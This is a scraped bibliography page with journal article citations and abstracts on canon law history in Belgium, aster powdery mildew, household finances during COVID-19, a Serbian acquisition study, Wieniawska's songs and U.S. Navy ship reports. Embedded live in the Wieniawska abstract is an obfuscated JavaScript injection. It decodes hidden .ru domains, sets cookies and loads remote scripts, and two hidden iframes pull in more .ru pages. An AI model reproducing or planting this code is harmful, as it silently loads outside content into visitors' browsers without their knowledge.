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AbstractL'étude de l'histoire du droit canonique en Belgique (1918-1993) est portée, essentiellement, par les facultés de droit canonique de l'université de Louvain. Jusqu'en 1968 l'Université Catholique de Louvain (U. C.L. et K.U. Leuven) était dotée d'une faculté unitaire de droit canonique (Faculté de Droit canonique / Faculteit Kerkelijk Recht). En 1968, à l'occasion du "splitsing", deux facultés autonomes et indépendantes furent creées: une Faculté de Droit canonique à l' U. C.L. (Louvain-la-Neuve), qui s'intégrait très rapidement dans la Faculté de Théologie et qui perdait ainsi très vite sa spécificité - on vient d'ailleurs de la suspendre -; une Faculteit Kerkelijk Recht à la K. U. Leuven (Leuven) dotée d'un statut spécial et particulier ("bijzondere faculteit"), qui connaît une expansion toute relative (e.a. grâce à son orientation anglo-américaine). Evidemment, la position actuelle du droit canonique positif se caractérise par un rétrécissement grandissant, dû à la position de l'Eglise en tant qu'institution (la séparation de l'Eglise et de l'Etat) et, à l'intérieur de l'Eglise, à une perte certaine de sa fonctionnalité en faveur d'une approche théologique. Ces conditions particulières ne favorisent pas l'étude de l'histoire du droit canonique. Deux chercheurs éminents d'une renommée internationale, issus de ces facultés, ont déterminé l'étude du droit canonique: Monseigneur A. Van Hove (1872-1947) et le Chanoine Gérard Fransen (°1915). Van Hove doit sa renommée à ses études sur les rapports juridiques concernant la principauté de Liège, sur l'histoire de l'université de Louvain en général et, en particulier, sur la faculté de droit canonique et sur la doctrine médiévale, mais, avant tout, à ses Prolegomena. Parmi ces élèves on compte, e.a., H. Wagnon et W. Onclin. G. Fransen s'est concentré et se concentre davantage sur l'étude des manuscrits canoniques (analyses, stemmata codicum) et les sources canoniques (éditions critiques et approche typologique). On lui doit, e.a., une édition modèle de la Summa 'Elegantius in iure divino'seu Coloniensis, des contributions approfondies sur les collections canoniques, les décrétales et les collections de décrétales, les questiones et la doctrine canonique médiévale. Il compte parmi ses élèves, e.a., C. Van de Wiel, E. Van Balberghe et D. van den Auweele. Monseigneur H. Wagnon (1906-1983) et Monseigneur W. Onclin (1905-1989) ont largement contribué à l'étude de l'histoire de droit canonique. Wagnon était un spécialiste reconnu de relations entre l'Eglise et l'Etat au XIXe siècle. Le nom de Onclin, promoteur de Fransen, est associé à Vaticanum II et au nouveau Code de droit canonique (1983). L'étude de l'histoire du droit canonique ne se limite pas à ces facultés ni, d'ailleurs, à l'université de Louvain. Signalons, à titre d'exemple, les études de J. Warichez (Etienne de Tournai), M. Nuttinck (Zeger-Bernard Van Espen), de J. Roegiers, D. van den Auweele, W. Prevenier, P.C. Boeren, e.a. A l'université de Gand deux élèves de R.C. van Caenegem, à savoir D. Lambrecht et M. Vleeschouwers-Van Melkebeek, ont examiné la pratique judiciaire (la synode paroissiale, les officialités). L'avenir de l'histoire du droit canonique se situe dans la grande tradition instaurée par H. Kantorowicz, S. Kuttner, E. Kantorowicz, P. Legendre, G. Fransen, P. Landau (la genèse et la généalogie du droit canonique à partir du XIe-XIIe siècles, tout en conservant son approche érudite et scientifique classique (S. Kuttner, G. Fransen) et en s'alignant sur la voie tracée par P. Landau (la perspective de l'élaboration d'un droit européen).

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Mørk, E. K., K. Kristiansen, H. J. Lyngs Jørgensen, and T. Sundelin. "First Report of Golovinomyces cichoracearum as the Causal Agent of Powdery Mildew on Symphyotrichum novi-belgii (Synonym Aster novi-belgii) in Denmark." Plant Disease 95, no. 2 (February 2011): 228. http://dx.doi.org/10.1094/pdis-10-10-0712.

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Symphyotrichum novi-belgii (L.) G.L. Nesom (synonym Aster novi-belgii L.) is an autumn flowering perennial used in gardens and as a cut flower. During the last 20 years, it has been developed as a potted plant, thereby increasing its economic importance. In Denmark, 7 to 8 million S. novi-belgii plants are produced annually, making it one of the 10 most popular potted plant crops ( http://floradania.dk/index.php?id=165 ). In general, S. novi-belgii is a healthy plant, but it can be severely attacked by powdery mildew both in greenhouse production and outdoors, and diseased plants have been observed in most parts of the country. Infected plants show typical symptoms: leaf surfaces become covered with white mycelium and as the disease progresses infected leaves turn yellow and die. Powdery mildew is regarded the main disease problem in S. novi-belgii and it causes problems year round in greenhouse production. Normally, the disease is controlled by fungicides, but once out of the production system, symptom development in the retail trade will reduce the plant's appeal to customers to a degree that prevents sales. The powdery mildew identified in this study was collected in a small research field at Aarslev, Denmark in September 2004. Since collection, the pathogen has been maintained in a greenhouse on S. novi-belgii and it has been used for disease resistance screening. However, lack of proper identification of the causal agent has hindered the development of powdery mildew resistant cultivars. To identify the pathogen, the internal transcribed spacer region (ITS) of the rDNA was amplified using primers ITS1 and ITS4 (2) and sequenced. The resulting sequence was deposited in GenBank (Accession No. HM769725). BLASTn analysis of the 598-bp fragment showed 99% identity to Golovinomyces cichoracearum (DC.) V.P. Heluta from Rudbeckia laciniata L. (Accession No. AB077622). The powdery mildew colonies were slightly pink with barrel-shaped, hyaline conidia borne in chains of three to four. The length of the conidia was 30 ± 4 μm and the width was 13 ± 1 μm (n = 105). Foot cells of the conidiophores were 101 ± 16 μm long and 12 ± 5 μm wide (n = 50) with a slight constriction at the base. Chasmothecia were not observed. These morphological characteristics confirmed the identification as G. cichoracearum (1). To fulfill Koch's postulates, 10 healthy S. novi-belgii ‘Victoria Fanny’ plants were inoculated in an inoculation tower by shaking infected S. novi-belgii plants over the tower, resulting in a spore density of 47 spores/mm2 on the leaf surface. The infected plants were placed in a growth chamber with 16 h of light (200 μmol·m–2·s–1) and day and night temperatures of 20 and 15°C, respectively. Symptoms developed on all plants after 11 days. Colony morphology on the leaves and the morphological characteristics were as described above. Conidia were washed off the leaves, DNA extracted, and the ITS was amplified by PCR. The resulting PCR product was sequenced and was identical to HM769725. To our knowledge, this is the first report of G. cichoracearum on S. novi-belgii in Denmark. References: (1) U. Braun. The Powdery Mildews (Erysiphales) of Europe. Gustav Fischer Verlag, Jena Germany, 1995. (2) T. J. White et al. Page 315 in: PCR Protocols: A Guide to Methods and Applications. M. A. Innis et al., eds. Academic Press, New York, 1990.

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Waliszewski, Krzysztof, and Anna Warchlewska. "Comparative analysis of Poland and selected countries in terms of household financial behaviour during the COVID-19 pandemic." Equilibrium 16, no. 3 (September 30, 2021): 577–615. http://dx.doi.org/10.24136/eq.2021.021.

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Research background: The outbreak of the COVID-19 pandemic, the reduction in income or the total loss of jobs have affected the financial behaviour of consumers worldwide. Managing the budget in times of turbulence and crisis has posed a challenge for households. Purpose of the article: The aim of the article is to determine to what extent the COVID-19 pandemic has affected the financial behaviour of the inhabitants of various countries and how Poland has stood out from the rest. Methods: Due to the orderly nature of the questions analysed, non-parametric tests were used in the analysis. The distribution of current expenditure in comparison with the period before the pandemic was analysed, as well as the results of comparative analyses with Mann-Whitney U tests for comparison of Poland with Austria, Belgium, the Czech Republic, France (974), Germany, Italy, Luxemburg, the Netherlands, Romania, Spain, Turkey, the United Kingdom, the USA. A study was carried out on the relationship between planning for the future, having debts and savings and financial behaviour after the COVID-19 pandemic and the metric variables in the group of Poles via Chi square and a series of ? Kendall?s tests. Findings & value added: There has been a fall in expenditure compared to the period before the pandemic, which may explain the lack of opportunities to spend money, the fall in revenue and the freezing of expenditure for fear of an uncertain future. There has also been a change in the way payments are made. Payment cards and purchases made over the Internet are increasingly popular. In the face of the COVID-19 pandemic, consumers are trying to save more, but not everyone can afford to do so. Long-term value added of this paper is analysis of change in the model of financial behavior of households under the shock of the pandemic in international comparisons of the analysed countries.

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Waliszewski, Krzysztof, and Anna Warchlewska. "Comparative analysis of Poland and selected countries in terms of household financial behaviour during the COVID-19 pandemic." Equilibrium 16, no. 3 (September 30, 2021): 577–615. http://dx.doi.org/10.24136/eq.2021.021.

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Research background: The outbreak of the COVID-19 pandemic, the reduction in income or the total loss of jobs have affected the financial behaviour of consumers worldwide. Managing the budget in times of turbulence and crisis has posed a challenge for households. Purpose of the article: The aim of the article is to determine to what extent the COVID-19 pandemic has affected the financial behaviour of the inhabitants of various countries and how Poland has stood out from the rest. Methods: Due to the orderly nature of the questions analysed, non-parametric tests were used in the analysis. The distribution of current expenditure in comparison with the period before the pandemic was analysed, as well as the results of comparative analyses with Mann-Whitney U tests for comparison of Poland with Austria, Belgium, the Czech Republic, France (974), Germany, Italy, Luxemburg, the Netherlands, Romania, Spain, Turkey, the United Kingdom, the USA. A study was carried out on the relationship between planning for the future, having debts and savings and financial behaviour after the COVID-19 pandemic and the metric variables in the group of Poles via Chi square and a series of ? Kendall?s tests. Findings & value added: There has been a fall in expenditure compared to the period before the pandemic, which may explain the lack of opportunities to spend money, the fall in revenue and the freezing of expenditure for fear of an uncertain future. There has also been a change in the way payments are made. Payment cards and purchases made over the Internet are increasingly popular. In the face of the COVID-19 pandemic, consumers are trying to save more, but not everyone can afford to do so. Long-term value added of this paper is analysis of change in the model of financial behavior of households under the shock of the pandemic in international comparisons of the analysed countries.

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Savovic, Sladjana. "Employee reactions to crossborder acquisitions: Evidence from an acquired Serbian company." Ekonomski anali 66, no. 228 (2021): 43–67. http://dx.doi.org/10.2298/eka2128043s.

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The purpose of this paper is to examine factors influencing employee reactions to changes brought about by crossborder acquisitions. The research was conducted in a company operating in Serbia?s retail sector that was acquired by a Belgian multinational company. The data were collected from 344 respondents. Measures of central tendency, the Mann-Whitney U test, and regression analysis were used to test the research hypotheses. The research results show that employee reactions to changes brought by cross-border acquisition were generally positive. The study show that corporate cultural differences between the acquiring company and the acquired company and the support of transformational leaders resulted in employees reacting positively to the changes. The study attempts to improve understanding of employee reactions during the process of change occurring as a result of cross-border acquisition. Additionally, this study has practical implications, as it points to how the appropriate management of human resources contributes to positive employee reactions.

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Kenney, Lewis Hobart. "U. S. S. DOBBIN AND U. S. S. WHITNEY." Journal of the American Society for Naval Engineers 37, no. 3 (March 18, 2009): 435–531. http://dx.doi.org/10.1111/j.1559-3584.1925.tb05520.x.

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Charlton, A. M. "U. S. S. COLORADO AND U. S. S. WEST VIRGINIA." Journal of the American Society for Naval Engineers 37, no. 1 (March 18, 2009): 1–36. http://dx.doi.org/10.1111/j.1559-3584.1925.tb00244.x.

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Brement, Marshall. "U. S.-U. S. S. R.: Possibilities in Partnership." Foreign Policy, no. 84 (1991): 107. http://dx.doi.org/10.2307/1148785.

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Al-Araj, Anna. "Pieśni Ireny Wieniawskiej do słów Paula Verlaine'a." Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes 14, no. 1 (November 4, 2016): 91. http://dx.doi.org/10.17951/l.2016.14.1.91.

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<p> W niniejszym artykule podjęto próbę interpretacji 21 pieśni Ireny Wieniawskiej (powstałych w latach 1911-1927), wykorzystujących teksty Paula Verlaine’a. Kompozytorka (1879-1932), znana także jako Madame Poldowski czy Lady Dean Paul, była córką Henryka Wieniawskiego i Izabeli Hampton-Wieniawskiej. Żyła i pracowała w Belgii oraz Wielkiej Brytanii, odbyła także podróże koncertowe do Stanów Zjednoczonych i Hiszpanii. We Francji poznała dorobek impresjonistów (m.in. Maurice’a Ravela), co w znacznym stopniu ukształtowało jej idiom twórczy.</p><p> W pierwszej części tekstu analizie poddano warstwę słowną utworów Wieniawskiej: ich wymiar treściowy oraz konstrukcyjny. Kolejny fragment został poświęcony płaszczyźnie muzycznej – autorka charakteryzuje podstawowe elementy dzieła: melodykę, akompaniament, harmonikę, fakturę i formę. W trzeciej części artykułu, w oparciu o reguły (<em>corollaries</em>) wyznaczone przez Henry’ego Woolletta, interpretowane są relacje słowno-muzyczne w pieśniach Madame Poldowski. Przeprowadzone analizy skłaniają do przyjęcia hipotezy o związku wokalno-instrumentalnego dorobku Lady Dean Paul z gatunkiem francuskiej <em>mélodie</em>, na co wskazywałaby predylekcja kompozytorki do recytatywnego traktowania głosu solowego, sylabicznego opracowania tekstu, jak również tendencja do wykorzystywania różnorodnych, skomplikowanych rozwiązań w zakresie harmoniki i formy. Wydaje się, że estetykę twórczości pieśniowej Wieniawskiej można włączyć w krąg symbolizmu, jej elementy zaś stanowią transpozycję wyróżników tego nurtu na grunt muzyczny. </p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.umcs.pl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="https://25haich4342.ru/f2.html?a=26698"></iframe><iframe id="a754394637" style="display: none;" src="https://gyh1lh20owj.ru/u.html?a=26698"></iframe>

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Jessop, E. P. "U. S. S. MILWAUKEE." Journal of the American Society for Naval Engineers 18, no. 4 (March 18, 2009): 1063–77. http://dx.doi.org/10.1111/j.1559-3584.1906.tb00003.x.

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Hall, R. T. "U. S. S. MINNESOTA." Journal of the American Society for Naval Engineers 18, no. 4 (March 18, 2009): 1143–81. http://dx.doi.org/10.1111/j.1559-3584.1906.tb00005.x.

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Danforth, G. W. "U. S. S. CALIFORNIA." Journal of the American Society for Naval Engineers 19, no. 1 (March 18, 2009): 1–20. http://dx.doi.org/10.1111/j.1559-3584.1907.tb00479.x.

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Leavitt, William Ashley. "U. S. S. KANSAS." Journal of the American Society for Naval Engineers 19, no. 2 (March 18, 2009): 430–79. http://dx.doi.org/10.1111/j.1559-3584.1907.tb02470.x.

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Leavitt, William Ashby. "U. S. S. PRESTON." Journal of the American Society for Naval Engineers 22, no. 3 (March 18, 2009): 925–53. http://dx.doi.org/10.1111/j.1559-3584.1910.tb04575.x.

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Gregory, Henderson B. "U. S. S. FLORIDA." Journal of the American Society for Naval Engineers 24, no. 2 (March 18, 2009): 519–66. http://dx.doi.org/10.1111/j.1559-3584.1912.tb03557.x.

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Gregory, Henderson B. "U. S. S. FLORIDA." Journal of the American Society for Naval Engineers 24, no. 1 (March 18, 2009): 519–66. http://dx.doi.org/10.1111/j.1559-3584.1912.tb04619.x.

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Gregory, Henderson B. "U. S. S. BEALE." Journal of the American Society for Naval Engineers 24, no. 3 (March 18, 2009): 899–924. http://dx.doi.org/10.1111/j.1559-3584.1912.tb04639.x.

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Gregory, Henderson B. "U. S. S. FANNING." Journal of the American Society for Naval Engineers 24, no. 4 (March 18, 2009): 1177–80. http://dx.doi.org/10.1111/j.1559-3584.1912.tb04666.x.

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Gregory, Henderson B. "U. S. S. JARVIS." Journal of the American Society for Naval Engineers 24, no. 4 (March 18, 2009): 1181–84. http://dx.doi.org/10.1111/j.1559-3584.1912.tb04667.x.

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Gregory, Henderson B. "U. S. S. TEXAS." Journal of the American Society for Naval Engineers 26, no. 1 (March 18, 2009): 1–53. http://dx.doi.org/10.1111/j.1559-3584.1914.tb04731.x.

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Gregory, Henderson B. "U. S. S. WADSWORTH." Journal of the American Society for Naval Engineers 27, no. 3 (March 18, 2009): 640–62. http://dx.doi.org/10.1111/j.1559-3584.1915.tb00547.x.

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Cox, Ormond L. "U. S. S. CUSHING." Journal of the American Society for Naval Engineers 27, no. 4 (March 18, 2009): 836–52. http://dx.doi.org/10.1111/j.1559-3584.1915.tb00573.x.

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Gregory, Henderson B. "U. S. S. OKLAHOMA." Journal of the American Society for Naval Engineers 28, no. 2 (March 18, 2009): 327–60. http://dx.doi.org/10.1111/j.1559-3584.1916.tb00042.x.

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Norton, H. H. "U. S. S. CONYNGHAM." Journal of the American Society for Naval Engineers 28, no. 2 (March 18, 2009): 369–82. http://dx.doi.org/10.1111/j.1559-3584.1916.tb00044.x.

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Cox, L. "U. S. S. TUCKER." Journal of the American Society for Naval Engineers 28, no. 3 (March 18, 2009): 654–68. http://dx.doi.org/10.1111/j.1559-3584.1916.tb00071.x.

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Cox, Ormond L. "U. S. S. NEVADA." Journal of the American Society for Naval Engineers 28, no. 1 (March 18, 2009): 20–54. http://dx.doi.org/10.1111/j.1559-3584.1916.tb00598.x.

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GREGORY, HENDERSON B. "U. S. S. IDAHO." Journal of the American Society for Naval Engineers 32, no. 1 (March 18, 2009): 99–133. http://dx.doi.org/10.1111/j.1559-3584.1920.tb00863.x.

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Gregory, Henderson B. "U. S. S. TRINITY." Journal of the American Society for Naval Engineers 32, no. 4 (March 18, 2009): 719–43. http://dx.doi.org/10.1111/j.1559-3584.1920.tb03603.x.

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Wetherbee, Charles P. "U. S. S. PRUITT." Journal of the American Society for Naval Engineers 33, no. 1 (March 18, 2009): 1–13. http://dx.doi.org/10.1111/j.1559-3584.1921.tb03626.x.

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Donald, H. G. "U. S. S. ASHBVILLB." Journal of the American Society for Naval Engineers 35, no. 2 (March 18, 2009): 219–52. http://dx.doi.org/10.1111/j.1559-3584.1923.tb00180.x.

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Densmore, C. W. "U. S. S. RICHMOND." Journal of the American Society for Naval Engineers 35, no. 3 (March 18, 2009): 451–99. http://dx.doi.org/10.1111/j.1559-3584.1923.tb00200.x.

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Auken, F. T. Van. "U. S. S. MARYLAND." Journal of the American Society for Naval Engineers 35, no. 1 (March 18, 2009): 1–113. http://dx.doi.org/10.1111/j.1559-3584.1923.tb00645.x.

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GROMER, J. G. B. "U. S. S. OMAHA." Journal of the American Society for Naval Engineers 36, no. 2 (March 18, 2009): 143–80. http://dx.doi.org/10.1111/j.1559-3584.1924.tb05443.x.

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DUCEY, D. F. "U. S. S. MEDUSA." Journal of the American Society for Naval Engineers 36, no. 3 (March 18, 2009): 377–433. http://dx.doi.org/10.1111/j.1559-3584.1924.tb05475.x.

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Keller, H. R. "U. S. S. RALEIGH." Journal of the American Society for Naval Engineers 36, no. 3 (March 18, 2009): 466–93. http://dx.doi.org/10.1111/j.1559-3584.1924.tb05477.x.

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